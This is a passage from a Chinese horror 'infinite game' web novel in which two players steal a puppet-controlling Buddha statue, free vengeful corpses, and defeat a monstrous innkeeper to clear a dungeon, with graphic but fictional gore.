就在兰焰通过一个又一个提问来吸引住它们的注意力、带着它们走去时,魏迟观绕背,悄无声息地从它们的视线盲点处穿梭而过,来到那座神秘的屋子旁。
门锁是金属的,一旦碰动就会发出明显的声响。魏迟观绕开门,来到窗前。
尽管窗户已经被密集从外部钉上了横七竖八的木条,但依然留有缝隙。魏迟观掏出匕首,蹑手蹑脚地轻轻划开内层的窗户纸,目光从狭窄的缝隙里穿过。
火光来自于两根巨型蜡烛,它们被摆在拜凳两层。拜凳正对着一张四方的供桌,桌前摆满了金银珠宝。金银珠宝后,是一尊小巧的、两个巴掌高的金身佛像。
这具佛像看起来年数已久,外部金层黯淡,一部分甚至已经脱落,露出青黑色的泥身。它并不像一般寺庙里供奉的那样,慈眉善目,垂眸俯视众生;而是粗狂地半坐半卧,头戴宝冠,怒目而视,两边长耳垂挂着沉重的金耳环,脖子上挂着硕大的金珠串。
这是一座佛堂。
所有的傀儡线,最终都钻入了这座佛像体内。
那座佛像让她觉得很危险。看久了,总感它似乎不再正着身体朝向门……而是向她的角度偏了一点?
魏迟观再次扫视了整个房间。
看不出这座佛像是怎么运作的,又对那些傀儡有什么影响。更不知道触碰后,到底是能拥有了控制傀儡的能力,还是被诅咒长出傀儡线,真正被变成它们中的一员。
她得赌一把。
魏迟观用匕首将木条无声撬开,再将木条放置在地上。
【魏迟观:我在房间里发现了一尊佛像,看起来像是什么关键性道具。】
【魏迟观:我进去看一看。你尽量带着它们往别的地方走。】
【兰焰:它们在催我回房。】
魏迟观听着不远处,顾忠压抑着怒火的字句:“好了,都看完了吧?是时候休息了……客、人。”
【魏迟观:给我十分钟。】
【魏迟观:你先带它们回房。如果发展和我上次的一致,从你熄灯入睡开始,到它们发动袭击,这大概有十五分钟的时间差。】
【兰焰:房间在一楼,左起第一间。到时我从窗户出来。如果有傀儡,帮我引开。】
【魏迟观:好。我会在窗附近观察的。】
回完消息,魏迟观听着一连串逐渐远离的敲击声,终于将木块卸下了一半。
这扇窗用的木栓。她曾观察过她住宿房间的窗锁,不出意外,所有的窗用的都是同一种式样。
魏迟观将匕首从窗缝之间钻入,闭上眼,排除视觉干扰,仅凭借手上的触感,慢慢感受到木栓的位置,再小幅度不断转动。木栓卡得很死,刀刃尖端抵住凹槽,用力挪动,才将完全木栓挑了开来。
接着,捡起一根木条揣在腰带上,小心推开窗,就着半扇高的空隙,将身体挤了进去,轻声翻入。
无数条密密麻麻的白色发光细线,千丝万缕,遍布了整个佛堂。
被实物触碰,那些线条会发生一定的扭曲或者偏移,尽管实物本身几乎感觉不到这些线的任何存在。但一旦到达了它的极限,那些线则会忽略该物体,进行恢复,重新变得笔直。
不敢贸然先动里面的东西,魏迟观先沿着墙壁走动了一圈。
顾忠怕火。即便如此,也要在这个房间里点蜡烛。因为燃烧的蜡烛很重要?不,准确地说,应该是燃烧着的蜡烛,对于这座佛像很重要。
橙红的光照在佛像正面,从下往上,沟壑与阴影形成了极为阴森的一张脸。
除此之外,这堆昂贵的宝贝对佛像也应该有针对性的作用。
对了,傀儡也爱钱。
有两种可能。第一种,受金银供奉后,佛像就有能力控制住爱钱的人,把它们变成了傀儡;第二种,在佛像面前摆放什么,就能让那些傀儡痴迷于什么。
魏迟观拔出腰间的木条,隔着木条将那些珠宝一样样挑放在地上或者推下供桌。她必须足够慢,才能让声音尽量轻,不把那些傀儡引来。
等供桌前方清空,她等待了一会。
好像没有什么特别的动静。无事发生?
她想了想,又把木条放了上去。
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>长达半分钟的寂静后,大堂的一楼走廊突然热闹了起来。好像有什么东西开始互相撞击,从乒乒乓乓到咚咚当当,越来越响,也越来越密集。
佛堂内的丝线,更是如跳舞一般跳跃旋转。
【兰焰:你,做了什么?】
【兰焰:那些傀儡,似乎,在拆房子。】
【魏迟观:它们会把拆下来的木头装到自己身上吗?】
【兰焰:是。】
【兰焰:怎么回事?隔壁有半个房间被拆了。走廊也在被破坏。】
魏迟观将木条收了回去。想了想,又挑起几条珠链放回原来的位置。
要是旅店塌了,后面她们恐怕就没有能喘息片刻的区域了。
以及,蜡烛。
魏迟观用匕首挑熄了一边,傀儡线立刻黯淡了一半。与此同时,它们好像开始动得更厉害。
更暗的环境中,那座佛像……好像在动?
魏迟观后退靠在门上,重新看去。它真的动了!
这……好像是活的?!
它比方才看起来更像是坐着的,眼睛也阖上了一半。
她警惕地观察了一会。它没有再发生新的变化。但似乎……危险性有所降低。
思索片刻,魏迟观发送消息。
【魏迟观:准备。我们可能要提前撤离了。】
【兰焰:什么?】
【魏迟观:我要把它们的核心拿走。】
【魏迟观:如果乱起来,立刻前往坟场!】
【魏迟观:如果能找到机会,我们就重新绕回来,再耗一回。如果找不到……】
顾忠的那句“天没那么容易亮”,让她很在意。重新回到旅店,重新计时,她发现了一个问题:这些场景中的时间几乎没有变化。夜色依旧,月亮高挂——它和群星在同样的位置上。
原本按她的预想,只要一次次切换场景、重进旅店,让NPC们的记忆不断刷新,就能以相对安全的方式耗到天明。
天亮了,自然也就是该离开的时候了。
但是……现在,她们就必须冒险。否则,时间拖得越久,消耗越大,活着离开的可能性就越小。
然而,有个问题依然摆在眼前,就是,到底如何才能天亮,如何才能通关?
思来想去,她都没想到方法。但她认为,关键点应该在坟场。
其他场景都有它的作用,NPC们也有截然不同的反应,只有坟场……那些NPC们,仿佛只是在延续上一个场景的行为。
所以,干脆直接转到去坟场。和兰焰一起,说不定会有新的发现!
【兰焰:我知道了。】
【兰焰:虽然不清楚你做的这些,作用或用意到底是什么。】
【兰焰:不过,我相信你的判断。】
13.重回坟场
魏迟观看向最后一行字。
印象里,好像从没人这么对她说过。
老实说,尽管失去了幼年期的记忆、身边也没有任何血亲,在其他方面,生活竟然也算得上自由顺遂。她的人生几乎没有波折,好像所有困难都会被解决。她可以发展各种各样的爱好而不需要有任何成就,交各种各样的朋友,尝试各种各样的体验——当然,在合法合规的范围内。
唯一的缺陷是,她今年已经过了二十一周岁的生日,但依然不像是一个能承担各种责任的成年人,而更像是一个随心所欲的孩子。
坐在色彩缤纷又轻松的沙画室里,她的其中一个心理咨询师曾这样对她说:“你的心里有一个空洞,但你无视了它。”
“空洞?”魏迟观正在画树,“可能吧。如果真的有,大概会在我那段丢失的记忆里。但过往是不可改变的,不是吗?”
咨询师摇头:“你有很强的防御机制,而这来源于你的不安全感。”
魏迟观百无聊赖地画着地下堡垒,探索了一层又一层,像在打造一个多功能末世安全屋:“我觉得,在这方面,我和绝大多数人都差不多。”
“有区别。”咨询师说,“大多数人都会有能交心的人,有真正信任的人。”
“你是说,我没有?”
“你没有。”咨询师的声音斩钉截铁,“而且,你不相信这个世界上,有人能够真正信任他人。”
佛堂中,魏迟观熄灭了另一边的蜡烛。傀儡线骤然消失,整个空间陷入黑暗。
“也许是你对人的认识有问题。”魏迟观诚恳道,“多疑是人性的本质之一。”
然而,咨询师却笑了。
“你认为我说的有问题?”魏迟观疑问。
“不,不不。”咨询师说,“你知道吗?你一直在压抑你的本性。”
“……这两者有什么关联?”
“比方说,你实际上说话相当不客气,”咨询师说,“但你却一直尝试伪装这一点。”
“不安的源头是恐惧。”那声音继续解释道,“你在害怕暴露自己。”
“不……”
“先别急着否认这一点。”咨询师罕见地打断了她,“比方说,今天我们的主题很老套,是绘制‘房树人’。告诉我,你把‘人’画在了哪?”
低下头,魏迟观无所谓地耸肩:“她在镜头外,正看着房子和树。”
瞳孔适应了片刻黑暗,开始捕捉到微弱的光。
魏迟观直直向前看去。那座金身佛像盘腿坐着,头上的宝冠托在手上,完全闭了眼。
门外,一片喧嚣。
失去了线的傀儡会怎么样?
魏迟观用木条推了一把佛像。它好像彻底沉睡了一样,向后仰倒。
没有明显的异常。隔着衣袖,她将佛像拿起来,揣进了袖口。
【系统:恭喜您!已获得道具“傀儡心线”。】
【系统:首次获得道具,幸运值+1。已触发职业天赋,开启转职通道:器师。】
【系统:器师转职条件如下:一、从副本中探索出三件无主道具(当前进展:1/3)。二、识别出一件道具的完整功能(当前进展:0%)。三、使用一件道具的完整功能(当前进展:0%)。】
【系统:职业仅可选择一种。该转职任务长期有效,请深思熟虑后选择。】
【系统:器师说明(链接)】
职业?竟然是职业?
为什么这该死的系统发布这些关键信息永远这么猝不及防、永远不挑时候!
来不及细看,魏迟观把页面统统叉掉,一边暗骂一边跑路。
来到外面,她也终于看清:失去了线的傀儡,会彻底失控。
它们像一群猴子来到了蹦床上,捅破房屋跳到空中,又从半空中坠落到房屋内。伴随着诡异的笑声和不止的尖叫,木制关节的错位声也咔咔作响。它们不仅在毫无章法地破坏房屋、攻击其他傀儡,还在攻击自己。有的在半空中将自己拧成了一团,如同一个戴棒的球体,而后坠落折断了腰部;有的四肢反向折曲,如螳螂一样到处乱爬;有的抱着自己断裂的肢体,一面哭一面笑。它们的部位一件件散落,头顶的标签时隐时现。
兰焰匆忙赶到:“快走!房子要塌了!”
魏迟观跟在她身后,吃力地跑:“顾忠呢?”
兰焰沉默一会:“你很快就会看到了。”
确实很快。
三十秒后,旅店中,一个巨大的身影彻底掀开了屋顶,遮天蔽月。
【旅店老板·顾忠·愤怒状态】。
到处活蹦乱跳的傀儡们被它身上的粘液一个个飞快卷入,而后,扔进了它张大的嘴里。雷声般的咀嚼音持续不断,那些痛苦的惨叫从金银牙缝中折叠迂转,构成了无数个回声。很快,消化液遍布了整块木头,首先融化的是关节,而后才是身体。它们变成了一堆小小的圆球,像甜蜜的糖果,最后被咯吱咯吱地咬碎。
解决完那些捣乱的傀儡后,下一步……就是要解决她们了!
兰焰拉了魏迟观一把,拼命向前跑去。
坟场!
场景瞬间切换。混乱斜插的白幡横竖都对不齐,风过,如海浪一般依次起伏。陆弦被挖开的坟墓上只被薄薄盖了一层土,他的衣袖模糊可见。
就在二人刚刚松一口气,停下休息了几分钟后,顾忠也赶到了。
太快了。
它的身体经过了对傀儡的吞噬,变得更为庞大,大约有七层楼这么高。它的粘液随意扬起,小小一滴,就像她们半个人那样大。
魏迟观脸色苍白地看着眼前的场景。
顾忠爆发之后,强度远超她的想象。
难道……就要这样死在这里?
不,不行。她们明明做了这么多努力。可是……
在绝对的力量面前,一切尝试都只能变成找死的把戏!
身侧,兰焰拄枪,深呼吸闭上眼,默然站定。
一定还有方法!她必须赶紧想。
眼前,顾忠的粘液如同海啸般汹涌而来,挡路的东西,无
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论是石头还是树或者草丛,全都被它连根带走,吞噬其中。
兰焰终于睁开眼。
她直面着顾忠,淡淡开口:“迟观,我有两个职业技能,能短暂地派上用场。”
“我可以为你争取五分钟。”兰焰向她伸出手,“匕首再拿来一用。”
就在魏迟观将匕首递过去的瞬间,黑色的粘液就彻底裹住了兰焰,将她吞噬其中。
然而,它却没有再次扩张生长,反而拖着兰焰往回退去。
五分钟!魏迟观咬牙。
反正猜错了也是死路一条,不如一试!
她转身向陆弦的尸体跑去。
那些符咒……那些符咒一定有作用!她用手不断向他身上盖的泥土扒开,将锁链上的黄纸一张张揭去。
一分钟已然过去。
魏迟观将尸体翻了两遍,甚至打开了他的口腔,都没有再找到一张没扯下的符纸。可是,陆弦的尸体依然一动不动。
她脱力的坐倒在地上。为什么会没用?为什么会一点变化都没有?!他的灵魂呢?
两分钟过去。
难道,她做的一切,只能让兰焰送死吗?
可……兰焰明明……这么相信她。
魏迟观攥紧了手,指甲嵌入皮肤,渗出血。
不,不一定是错了。也许是因为还少些什么。
除了符纸,还有别的东西在镇压着他。会是什么?锁链?
她将锁链从他身上扯了下来。
还剩两分钟。
身后,兰焰从粘液中脱困,浑身是血。她拿起匕首,再次割破了自己的皮肤,而后握紧长枪。鲜血顺着枪体蜿蜒而下。
在粘液再次袭来的瞬间,她舞动长枪,在虚影中一枪/刺入!
噗嗤。吃痛了的粘液尖叫收缩。新的粘液又匍匐而来。
也不是锁链。
也不是……那到底会是……
魏迟观的目光凝住。
就在刚刚顾忠粘液光顾过的地方,几乎所有东西都被吞噬得一干二净,只留下泥土。它也路过了那些坟,但……白幡还留在那里!
它刻意绕开了那些白幡!
魏迟观站起身,握住引灵白幡,连根拔起,折成两截。
一分钟。
四周,淡淡烟雾从土中升起、聚集,逐渐形成了一个人影——陆弦。
陆弦定定看着她,眼中血泪滚落,弯下腰,肩膀剧烈抖动,像哭又像笑。接着,一头扎回了自己的身体中。
他的标签重新生成:【怨尸·陆弦】。
很快,尸体开始抖动和抽搐。而后,硬挺着站了起来。
他睁开全是眼白的眼睛,僵硬抬起手。
所有引灵白幡和符纸,仿若从活到死一般,从土壤中钻出,又瞬间卸力、倒在地面。
接着,一条又一条灵魂出现,钻入土中,又带着它们的身体,爬了出来。
顾忠果断停止了对兰焰的攻击。
它感觉到了恐惧,感觉到了……莫大的威胁。
14.爆炸
尸体的动作很迟缓。他们穿着生前的衣服,头发散乱,拖着沉重的步伐走向顾忠。
他们当中,有的经年日久,只剩骨架;有的骨头上还残留着些许碎肉;有的腐烂了一部分,流淌着深色的、气味浓烈的液体;还有的,身上的蝇虫钻进钻出,留下无数个丑陋的孔洞。
锁链垂在他们身上,拽曳出尖锐的声响。
他们的身体达到了一种古怪的平衡,七扭八歪地向前。沉默的众人,方向如此一致,甚至像在某种朝圣。
顾忠如同慌张的野狗,后退半步,将它的巨嘴举到头顶,对着天空长啸,喷出了还没完全消化的碎石和泥沙。
尸体们仿若未闻,丝毫没有停滞。
另一边,竭力的兰焰攥着枪缓缓下滑,跪倒在地。
终于赶到的魏迟观连忙扶住了她:“还能支撑得住吗?”
“死不了。”兰焰扯开嘴角,擦了把脸上的血,喘息,“就是有点累。得休息一会。”
魏迟观焦急看了眼对峙的双方,说:“我们得尽快离开这个地方。继续待在这,恐怕会被卷进去。”
第一具尸体走到了顾忠的面前。顾忠再次释放粘液尝试裹住,那具尸体仿佛浑然不觉,继续往里走。接着,顾忠哀嚎一声,又将尸体重新丢了出来!
进入前,尸体相对完整;被扔出后,则东一块西一块,散落得到处都是。
那些肉块不断聚拢、拼合,又重新组成了一具尸体,再次向前去。只是这次,一边的手接到了髋骨上,变成了新的腿;而原本的腿则接到了手臂的位置上。
很快,第二具、第三具尸体也都在进入后,变成碎块被洒出。
魏迟观搀起兰焰,往远离顾忠的方向走。
兰焰回头望去,皱眉:“他们好像打不过顾忠。”
那些尸体前仆后继地赶去,又被随意抛撒出来。一次又一次,一遍又一遍,形成的尸块也拼合得更加古怪。
终于走到所有尸体的身后、和顾忠保持了一定的安全距离后,魏迟观带着兰焰坐了下来。
“你的伤势怎么样?”魏迟观无从下手地问,“需不需要,额、止血之类的?”
“只是看着吓人。”兰焰解释道,“你也看到了,我的职业是武者。这个职业其中的一个技能,叫做‘一掷乾坤’。能通过自伤来对我的招式进行暴击加成,血液含量越多、加成就越高。”
魏迟观松口气:“不致命就行。”
沉默片刻,兰焰问:“接下去怎么办?”
魏迟观望向深蓝近墨的天:“等。”
“等?”兰焰不明白,“等什么?”
“等他们打败它。”
尽管顾忠身上的黑色物质溶解不了那些尸体,可是一次次被碎尸后,总会有一些小的部分就此遗失,再也拼不回去。
他们一直在被消耗。
兰焰说:“如果赢不了?”
魏迟观摊开手:“那就只能死了。”
兰焰顺着她的目光看去,不再作声。
尸体越来越没有人形,体积也肉眼可见地变得很小。他们没有什么攻击手段,只是一直在重复着冲入。
满地狼藉。
魏迟观从袖中摸出那座金身佛像:“对了。在那座屋子里,我拿走了这个。系统把它识别为一个名为‘傀儡心线’的道具,不过我还不知道它该怎么用。”
兰焰看了看,也摇头:“在这里用得上吗?”
“恐怕不行。”魏迟观说,“它还需要其他东西辅助。”
兰焰说:“我也研究不出它的用法。你先带着吧。”
魏迟观将佛像重新塞了回去。
夜色依旧,没有转亮的迹象。尸体的数量越来越少,他们原先的标签也早被抹去,没有了名字,只剩:【怨尸·残】。但顾忠却依然完整,看起来没有丝毫损伤。
风中,兰焰将自己的长发重新高高束起,问道:“对了,你的愿望是什么?”
“愿望?”魏迟观一愣。已经要开始交流这么煽情的东西了吗?
“愿望。”兰焰看向她,“我们不都是为了自己的愿望,才进来的吗?”
竟然如此!他们,或者说所有玩家,都是为了他们自身的愿望进来的。魏迟观按捺下心中的诧异。
难道,这个地方,能帮他们实现愿望?
她回想着里面的各种超出她意料的东西:系统,副本,鬼怪,异能。似乎……确有可能。
“为了实现自己终其一生都无法实现的愿望。”兰焰平淡叙述,“它给了我们这个机会。只要攒出足够多的积分……”她又接着自嘲道:“没想到第一个副本都没完成。”
“不一定。”魏迟观谨慎说。如果是这样,那没有明确终极愿望的自己,又是怎么进来的?
思索一瞬,她问:“你的愿望是什么?”
“很简单,”兰焰握住身旁的长枪,插进土中,重新竖立,“我想要变强。变得足够强。我想要做正义的化身,帮助一切弱小,铲除所有黑暗。”接着,她轻轻笑了,“是不是听起来很幼稚?”
她笑起来时,原本严肃的面容变得柔和,如同邻家姐姐一样。
“我以为一辈子都不可能实现,”兰焰的音量低到几乎听不清,散在风里,“但它给我了这个机会。我……”
魏迟观看向她。也许兰焰曾经历过什么痛苦的事,才会让她有这样的渴望。
但她没有过问。她像对待其他任何人一样,礼貌保持着距离,从不轻易踏入她们的内心。
兰焰问:“你呢?”
魏迟观语塞。要现编一个吗?她犹豫:“我……”
“不想说也没关系。”兰焰站了起来,向前走去,“应该好好保护自己的秘密。”
魏迟观叫住她:“你去哪?”
兰焰答:“
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那里需要我。”
“可……”魏迟观将阻拦的话咽了下去,“我和你一起去。”
下一刻,兰焰的脚步就停住了。
那些原本零散掉落在地面的骨头或者肉块,正在往同一个方向蠕动。
无数条腿、无数只手、无数颗头颅,剖开的胸腔、断裂的肋骨,它们的断面与断面之间相互靠近、黏连,而后长在了一起。越长越大,越长越圆。
它们的表面是密密麻麻的凹陷和凸起,还在不断鼓动,像滚落火中的蚂蚁团,燃烧焦化的最外层一般。
【怨尸·整】!
它极其缓慢地朝顾忠滚去,仿佛一颗血色心脏。
一扩、一缩。像正在缓慢呼吸。
咚。
咚。
它慢悠悠地悬浮起来,停在半空中。
顾忠的眼珠六神无主地转动着,身上的黑色黏液疯狂地向后退去,把它剩下的木身不断往后扯,发出沉闷的粗喘声:“赫、赫、赫。”
兰焰先反应过来,抓住了魏迟观的手腕:“快跑!”
咚。
这一声先是很轻,而后是一截沉寂。然后,轰然爆炸!
前方,天线泛白,晨光渐染。
身后,顾忠的惨叫声与爆炸声叠加在一起。它的木身在熊熊烈火中燃烧,黑色黏液则早已被炸得消失殆尽。
没过多久,它的声音就像被闸断一般,忽然消失不见。
一切重归寂静。
大火燎原,只剩黑炭长驻,松松垮垮地坠落着。
飞溅的血肉,一直散落到她们的头发和衣服上,带着与普通尸体截然不同的温暖温度。
血肉之中,似乎还有什么别的东西,擦过她的脸颊一闪而逝。魏迟观停下,弯下腰,捡起。
是……一枚陈旧的铜钱?
*
回来了。
她们……活下来了……
魏迟观握紧手中的铜钱,恍惚站在原地。
幻境碎裂,只剩星星点点的碎片,在风中旋转飘舞。
【系统:恭喜您!通关支线“瘴雨野店·无归冢”。】
【系统:该支线首次通关!将发放特殊称号“怨尸生花”。称号属性:指定一具尸体,为您的仇敌带来爆炸吧!(注:同一副本中,该称号只可使用一次。)】
【系统:首次通关副本支线,已开放非概率性全属性+1。】
【系统:为您结算支线积分中……】
【系统:您的通关评价为S级,将为您发放3000积分。】
【系统:恭喜您!已获得道具“怨眼铜蚨”。】
【系统:您的转职进度已更新。器师:从副本中探索出三件无主道具(2/3)。】
数条系统提示接连不断地闪现。
魏迟观静静看完,静静关闭。
当前副本存活玩家数量:八人。